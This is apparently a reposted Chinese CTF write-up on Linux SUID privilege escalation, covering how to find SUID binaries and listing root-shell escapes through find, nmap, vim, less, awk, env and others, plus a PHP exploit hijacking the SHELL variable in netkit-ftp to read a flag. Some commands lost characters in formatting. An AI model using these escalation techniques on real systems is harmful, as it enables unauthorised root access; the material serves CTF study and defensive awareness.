2022蓝帽杯遇见的 SUID 提权 总结篇

WriteUp 2年前 (2022) admin
1,033 0 0

点击 / 关注我们

文前漫谈

SUID提权是前阵子在蓝帽杯中刚接触到的一个点,本来以为是挺鸡肋的一个点,但是前两天接触了一台真实使用的服务器(类似于上机排查取证)。发现竟然有很多可以利用的点,印象深刻的就是当时机子里有个vim-basic,甚至好像还有个find留着。这些都可能利用suid的特殊权限实现突破。于是重新学习一下。 SUID提权针对的是Linux下的被赋予特殊权限的二进制可执行文件,借助可执行文件的特殊权限实现提权。

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

什么是SUID

2022蓝帽杯遇见的 SUID 提权 总结篇
image (1).png

SUID (Set UID)是Linux中的一种特殊权限。用户运行某个程序时,若该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件(对应windows下的exe文件),对于非可执行文件设置SUID没有意义。 在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。 通俗的来讲,假设我们现在有一个可执行文件/bin/find,其属主为root。当我们通过非root用户登录时,如果find命令设置了SUID权限且属主为root,而恰好find命令能通过-exec选项执行系统命令,我们可在非root用户下运行find执行命令,在执行文件时,该进程的权限将为root权限。达到提权的效果。利用此特性,我们可以实现利用SUID权限的特殊进行提权

举个例子

准备两个可执行文件,root-see.c和normal-see.c normal-see.c文件

#include <stdio.h>

int main()
{
    /* 我的第一个 C 程序 */
    printf("Hello, normal! n");

    return 0;
}

root-see.c文件

#include <stdio.h>

int main()
{
    /* 我的第一个 C 程序 */
    printf("Hello, root! n");

    return 0;
}

编译得到下面两个可执行文件 ,然后chmod设置权限。使普通用户无法执行root-see.out

chmod u+s filename   设置SUID
chmod u-s filename   去掉SUID设置 
  u代表文件所属者,suid权限是针对文件所属者而言的,只能对其所属者设置

2022蓝帽杯遇见的 SUID 提权 总结篇
image (2).png

下面我们尝试用suid提权执行root-see.out文件

寻找可利用文件

下面的三条命令都可以找到当前系统上文件属主为root并且拥有SUID权限的可执行文件。 准确的说,这个命令就是用find/目录往下查找具有SUID权限位且文件属主为root的文件在并在控制台输出,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=-type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

-user 指定文件拥有者
-perm 文件权限
-exec 执行系统命令

可以看见上面的root-see.out文件已经能查到

2022蓝帽杯遇见的 SUID 提权 总结篇
image (3).png

可利用文件总结

nmap(已失效)

网上说 nmap(2.02-5.21)存在交互模式,可利用提权。

nmap --interactive

之后执行:
nmap> !sh
sh-3.2# whoami
root

//这是真正意义上的提权,进入到了root用户的shell

但是这是老版本的,为了安全性,nmap的这个机制已经弃用。然后了解到较新版可使用--script参数

echo "os.execute('/var/www/html/root-see.out')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

.nse文件是nmap的定制脚本文件,用lua语言写的

2022蓝帽杯遇见的 SUID 提权 总结篇
image (4).png

可以看见,nmap的调用机制已经更新了,记住尝试时别在输入密码切换到root后再执行,因为你输入的密码会默认保存5分钟,那样是能执行的。

2022蓝帽杯遇见的 SUID 提权 总结篇
image (5).png

find (-exec执行命令)

find是个比较常用的命令,find用来在系统中查找文件。通常很少谈到它也有执行系统命令的功能。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令,并且都将以root身份去运行。但是现在很多系统上find命令默认没有SUID权限

2022蓝帽杯遇见的 SUID 提权 总结篇
image (6).png

所以这里为了演示,我赋予一个

2022蓝帽杯遇见的 SUID 提权 总结篇
image (7).png

开始尝试,find执行系统命令的格式,从下面的执行结果不难看出,find进程确实属于其拥有者

find  -exec whoami ; 
  这个;必须要有,而且和命令前要有个空格
  -exec:<执行指令>:假设find指令的回传值为True,就执行该指令;
  -true:将find指令的回传值皆设为True 这个可能会用到

2022蓝帽杯遇见的 SUID 提权 总结篇
image (8).png

然后,尝试执行只有root有权限执行的文件,成功。

2022蓝帽杯遇见的 SUID 提权 总结篇
image (9).png

date 读取文件(比赛中遇见)

也是一个比赛里的,这他娘真算是一个比较偏僻的点,读文件用的 虽然会报错,但是还是会读取文件

命令格式
  date -f/--file <filename>

  -f, --file=DATEFILE:类似于--date; 一次从DATEFILE处理一行。

2022蓝帽杯遇见的 SUID 提权 总结篇
image (10).png

netkit-ftp提权(2022蓝帽杯)

netkit-ftp和ftp是一个东西 一般情况,ftp提权是在vps上搭建一个ftp服务端作接收端,然后让靶机上的ftp以root权限把文件传送过来就行了 蓝帽杯这题比较特殊,他是放在php交互脚本里进行命令执行,没办法在shell中与ftp交互,上面说的那种方式无法实现。 这里主要是劫持环境变量SHELL进行命令执行 在cmds.c文件中,定位到netkit-ftp源码功能实现代码可知是从系统变量中获取SHELL变量进行执行 https://github.com/mmaraya/netkit-ftp

/*
* Do a shell escape
*/
void
shell(const char *arg)
{
    int pid;
    void (*old1)(int);
    void (*old2)(int);
    char shellnam[40];
    const char *theshell, *namep; 

    old1 = signal (SIGINT, SIG_IGN);
    old2 = signal (SIGQUIT, SIG_IGN);
    if ((pid = fork()) == 0) {
        for (pid = 3; pid < 20; pid++)
            (void) close(pid);
        (void) signal(SIGINT, SIG_DFL);
        (void) signal(SIGQUIT, SIG_DFL);
        //从环境变量中取SHELL变量
        theshell = getenv("SHELL");
        if (theshell == NULL)
            theshell = _PATH_BSHELL;
        namep = strrchr(theshell, '/');
        if (namep == NULL)
            namep = theshell;
        else 
            namep++;
        (void) snprintf(shellnam, sizeof(shellnam), "-%s", namep);
        if (strcmp(namep, "sh") != 0)
            shellnam[0] = '+';
        if (debug) {
            printf("%sn", theshell);
            (void) fflush (stdout);
        }
        if (arg) {
            execl(theshell, shellnam, "-c", arg, NULL);
        }
        else {
            execl(theshell, shellnam, NULL);
        }
        perror(theshell);
        code = -1;
        exit(1);
    }
    if (pid > 0) while (wait(NULL) != pid);

    (void) signal(SIGINT, old1);
    (void) signal(SIGQUIT, old2);
    if (pid == -1) {
        perror("Try again later");
        code = -1;
    }
    else {
        code = 0;
    }
}

主要代码

//从环境变量中取SHELL赋给thshell变量 theshell = getenv(“SHELL”); …… if (arg) { execl(theshell, shellnam, “-c”, arg, NULL); //也是因为这里的-c,才选择的od命令 } else { execl(theshell, shellnam, NULL); } //execl()用来执行参数path字符串所代表的文件路径 这里SHELL变量用可执行文件的绝对路径 最终执行的是theshell -c xxxx命令

官方的给exp

putenv("SHELL=/usr/bin/od");
$descriptorspec = array(
   0 => array("pipe", "r"), // 标准输入,子进程从此管道中读取数据
   1 => array("pipe", "w"), // 标准输出,子进程向此管道中写入数据
   2 => array("pipe", "r")
);

$file=array();

$process = proc_open("ftp", $descriptorspec, $file);

var_dump($process);
var_dump($file);

function readln($file){
    $out = "";
    $a = fread($file, 1);
    echo "readln";
    while ($a != "n") {
        $out = $out.$a;
        $a = fread($file, 1);
    }
    return $out;
}


fputs($file[0], "! /flagn");
sleep("2");
$data = readln($file[1]);
echo $data;

proc_open执行一个命令,并且打开用来输入/输出的文件指针,它的参数可以根据官方文档进行魔改。这里把od命令(od有-c选项,且功能符合我们的要求赋给环境变量SHELL。

od -c 输出文件的八进制、十六进制等格式编码的字节 -c 使用ASCII码进行输出,注意其中包括转义字符

所以整个脚本的意思就是劫持环境变量SHELL为od命令,使用proc_open执行,并把它的输出流echo

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

Vim系列 执行系统命令

vim.tiny,vim-basic,vi等同样适用 进入vim命令行模式,感叹号后面加命令

!command >!whoami >kali >:::

ed 执行系统命令

ed 命令 是单行纯文本编辑器,它有命令模式(command mode)和输入模式(input mode)两种工作模式。 命令行模式执行命令

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

less/more 执行系统命令

moreless一定要读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令执行命令或者进入shell

!command !/bin/sh,进入shell

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

awk 执行系统命令

借助awk执行系统命令的方式很多

awk ‘BEGIN {system(“whoami”)}’

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

time 执行系统命令

time ifconfig

2022蓝帽杯遇见的 SUID 提权 总结篇
image (11).png

dmesg 执行系统命令

显示Linux系统启动信息 dmesg命令 被用于检查和控制内核的环形缓冲区。kernel会将开机信息存储在ring buffer中。您若是开机时来不及查看信息,可利用dmesg来查看。开机信息保存在/var/log/dmesg文件里。 :::info dmesg -H ::: 进入命令行模式,!command执行命令

2022蓝帽杯遇见的 SUID 提权 总结篇
image (12).png

env 执行系统命令

显示系统中已存在的环境变量

env whoami

2022蓝帽杯遇见的 SUID 提权 总结篇
image (13).png

flock 执行系统命令

是Linux 的文件锁命令。可以通过一个锁文件,来控制在shell 中逻辑的互斥性。

flock -u / ifconfig

2022蓝帽杯遇见的 SUID 提权 总结篇
image (14).png

ionice执行系统命令

获取或设置程序的IO调度与优先级。

ionice whoami

2022蓝帽杯遇见的 SUID 提权 总结篇
image.png

nice 执行系统命令

nice用于修改程序的优先级。

nice whoami

2022蓝帽杯遇见的 SUID 提权 总结篇
image (15).png

strace 执行系统命令

监控程序的执行状况

2022蓝帽杯遇见的 SUID 提权 总结篇
image (16).png

防御思路

管理者多注意特殊具有suid权限的可执行文件,分析其是否安全,点对点突破就ok了

总结

说太多也说不过来,具体情况具体分析。只要用上面的find命令找到前面的任一命令,那就可能是个突破点 当suid提权从你脑子里蹦出来,直接find找命令就行了,然后就给出的命令分析。主要是找一些异常的文件,然后分析它是否能执行系统命令,再进一步展开。 能执行命令的话,尝试直接/bin/sh -pshell就完事了 CTF中具体涉及到了的话,可以find之后一个一个研究,万一有的出题人狗,自己写一个命令让你去造也说不定呐(懂得都懂)。

参考文章

https://www.secrss.com/articles/28493

推荐阅读:
CobaltStrike beacon二开指南
Edge浏览器-通过XSS获取高权限从而RCE
The End of AFR?
java免杀合集
ATT&CK中的攻与防——T1059



跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。


跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文


原文始发于微信公众号(跳跳糖社区):2022蓝帽杯遇见的 SUID 提权 总结篇

版权声明:admin 发表于 2022年10月31日 下午12:12。
转载请注明:2022蓝帽杯遇见的 SUID 提权 总结篇 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...